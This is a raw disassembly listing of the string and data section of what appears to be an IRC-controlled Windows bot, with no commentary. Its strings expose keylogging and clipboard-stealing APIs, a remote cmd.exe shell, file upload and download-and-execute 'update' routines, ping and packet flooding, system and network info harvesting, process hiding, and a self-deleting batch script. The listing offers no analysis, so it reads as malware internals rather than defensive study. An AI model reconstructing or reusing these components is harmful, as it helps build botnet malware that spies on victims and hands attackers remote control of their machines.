aControlservice	db 'ControlService',0   ; DATA XREF: sub_40981F+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_40981F+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_40981F+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_40981F:loc_409B58o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_40981F+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_40981F+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_40981F+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_40981F+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_40981F+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_40981F:loc_409A7Eo
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_40981F+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_40981F+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_40981F+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_40981F+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_40981F+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_40981F+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_40981F+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_40981F+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_40981F+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_40981F:loc_409954o
					; sub_42105F+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_40981F+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_40981F+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_40981F+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40981F+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40981F+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_40981F+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_40981F+Ao
		align 4
unk_42D764	db    2			; DATA XREF: sub_40A4AC+2F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDllTestComplet	db '  DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o
		align 10h
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_40AAFA+5o
					; sub_415C5E+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40AB7C+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40AC42+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_40AC42+48o
		align 4
unk_42D9A8	db    2			; DATA XREF: sub_40AE02:loc_40AEC1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42D9E8	db    2			; DATA XREF: sub_40AE02:loc_40AE8Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42DA28	db    2			; DATA XREF: sub_40AE02:loc_40AE5Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_42DA5C	db    2			; DATA XREF: sub_40AE02+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42DA9C	db    2			; DATA XREF: sub_40AF86+13Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42DAD8	db    2			; DATA XREF: sub_40AF86+6Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 10h
dword_42DB10	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+1C6o
		dd 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42DB4C	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+8Eo
		dd 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o
dword_42DB94	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B549o
		dd 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42DBD4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417+10Fo
		dd 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42DC0C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B4FDo
		dd 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_42DC4C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+194o
		dd 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
dword_42DC90	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+14Co
		dd 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40B56C+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40B721+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40B8D8+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40B8D8+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co
		align 10h
word_42DDD0	dw 3Fh			; DATA XREF: sub_40B8D8:loc_40B9DAr
					; sub_40D099+1Fo
		align 4
dword_42DDD4	dd 28207325h, 297325h	; DATA XREF: sub_40B8D8+EBo
dword_42DDDC	dd 3F3F3Fh		; DATA XREF: sub_40B8D8:loc_40B99Bo
					; ___:loc_415C0Fo
a2003		db '2003',0             ; DATA XREF: sub_40B8D8+BAo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40B8D8+AAo
					; ___:00415BFAo
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40B8D8+98o
					; ___:00415BEAo
		align 10h
aMe		db 'ME',0               ; DATA XREF: sub_40B8D8+7Eo
					; ___:00415BD1o
		align 4
a98		db '98',0               ; DATA XREF: sub_40B8D8+6Co
					; ___:00415BC1o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40B8D8+5Ao
					; ___:00415BB1o
		align 4
a95		db '95',0               ; DATA XREF: sub_40B8D8+46o
					; ___:00415BA3o
		align 10h
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40BB8C+A4o
		align 10h
off_42DE40	dd offset loc_412F4E	; DATA XREF: sub_40BB8C:loc_40BBF8o
off_42DE44	dd offset aAqGRodzk?dvpdO ; DATA XREF: sub_40BB8C:loc_40BBEEo
					; "AQпу┐\aЮ▌dZK?└V╞╓пo"
dword_42DE48	dd 6C616944h, 70752Dh	; DATA XREF: sub_40BB8C+5Bo
dword_42DE50	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_40BB8C+48o
unk_42DE60	db    2			; DATA XREF: sub_40BC4B:loc_40BE04o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 10h
unk_42DEA0	db    2			; DATA XREF: sub_40BC4B:loc_40BDFDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_42DEDC	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+1A0o
		dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch,	2E4C5255h
		dd 0
unk_42DF08	db    2			; DATA XREF: sub_40BC4B:loc_40BDDEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42DF54	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+18Co
		dd 0BB022029h, 202002BBh, 204C5255h, 69736976h,	2E646574h
		dd 0
dword_42DF80	dd 2A2F2Ah		; DATA XREF: sub_40BC4B+3Bo
dword_42DF84	dd 202E6425h, 3D207325h, 732520h ; DATA	XREF: sub_40BEF5+35o
dword_42DF90	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o
		align 4
dword_42DFC4	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
					; DATA XREF: sub_40C00D+1Ao
		dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h,	0
dword_42DFEC	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+DCo
		dd 2BBBB02h, 694C2020h,	63207473h, 6C706D6Fh, 2E657465h
		dd 0
dword_42E018	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+3Fo
		dd 2BBBB02h, 65422020h,	6E6967h
dword_42E038	dd 80000002h, 42F6CCh, 80000002h, 42F6FCh, 80000001h, 42F734h
					; DATA XREF: sub_40C1AE+7o
dword_42E050	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C1AE+63o
					; sub_40C351+170o
		dd 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_42E094	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+ABo
		dd 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42E0D4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+47o
					; sub_40C512+FDo
		dd 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42E108	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+362o
					; sub_40C8B4+156o
		dd 2BBBB02h, 6F532020h,	74656B63h, 72726520h, 2E726Fh
dword_42E130	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+2FAo
		dd 2BBBB02h
aTransferComp_0	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42E180	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+202o
		dd 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42E1B4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+1CBo
		dd 2BBBB02h, 65532020h,	7420646Eh, 6F656D69h, 2E7475h
dword_42E1DC	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C512+16Ao
		dd 169h
dword_42E1F4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+127o
		dd 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42E224	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+82o
		dd 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42E258	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+44o
		dd 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_42E28C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+1D1o
		dd 2BBBB02h
aTransferComp_1	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 10h
dword_42E2E0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+CBo
		dd 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42E310	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+ABo
		dd 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_40C8B4+97o
dword_42E350	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+83o
		dd 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 10h
unk_42E390	db    2			; DATA XREF: sub_40CAF1+493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_42E3CC	db    2			; DATA XREF: sub_40CAF1+485o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42E414	db    2			; DATA XREF: sub_40CAF1+3C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_42E464	dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
					; DATA XREF: sub_40CAF1+358o
		dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h,	25203A64h
		dd 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40CAF1+336o
					; sub_40EE72+2B48o ...
		align 4
unk_42E498	db    2			; DATA XREF: sub_40CAF1+2E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 10h
unk_42E4E0	db    2			; DATA XREF: sub_40CAF1+262o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_42E518	db    2			; DATA XREF: sub_40CAF1+1D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
unk_42E55C	db    2			; DATA XREF: sub_40CAF1+195o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42E59C	db    2			; DATA XREF: sub_40CAF1+183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_42E5E4	db    2			; DATA XREF: sub_40CAF1+77o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40D099:loc_40D0DCo
					; sub_40DF4E+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40D099:loc_40D0D6o
aDisk		db 'Disk',0             ; DATA XREF: sub_40D099:loc_40D0D0o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40D099:loc_40D0CAo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40D099:loc_40D0C4o
		align 4
off_42E644	dd offset word_4D4152	; DATA XREF: sub_40D099:loc_40D0BEo
aFailed		db 'failed',0           ; DATA XREF: sub_40D12A:loc_40D208o
					; sub_40D24E+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40D12A+6Co
		align 4
unk_42E658	db    2			; DATA XREF: sub_40D24E+8Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
unk_42E6A4	db    2			; DATA XREF: sub_40D24E+58o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
aA_0		db 'A:\',0              ; DATA XREF: sub_40D320:loc_40D365o
dword_42E6F4	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42E740	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_40D4C5+E3o
; ---------------------------------------------------------------------------

loc_42E75C:				; DATA XREF: sub_40D4C5+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42E770	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40D4C5+13Fo
dword_42E784	dd 25207325h, 253A2073h, 0A0D73h ; DATA	XREF: sub_40D679+5Do
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D679+16o
					; sub_40EE72+623o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D679+Fo
					; sub_40EE72+62Fo
		align 10h
off_42E7A0	dd offset aAdd		; DATA XREF: sub_40D719+60r
					; sub_40DAF0+51r ...
					; "Add"
off_42E7A4	dd offset aAdded	; DATA XREF: sub_40D719+2Dr
					; sub_40DAF0+83r ...
					; "Added"
dword_42E7A8	dd 0			; DATA XREF: sub_40D719+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42E814h, 42E80Ch,	2, 42E800h, 42E7F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0042E7D4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:0042E7D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:0042E7C8o
aStart_0	db 'Start',0            ; DATA XREF: ___:0042E7C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:0042E7BCo
		align 4
aList_0		db 'List',0             ; DATA XREF: ___:0042E7B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:0042E7B0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0042E7ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_42E7A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_42E7A0o
dword_42E868	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
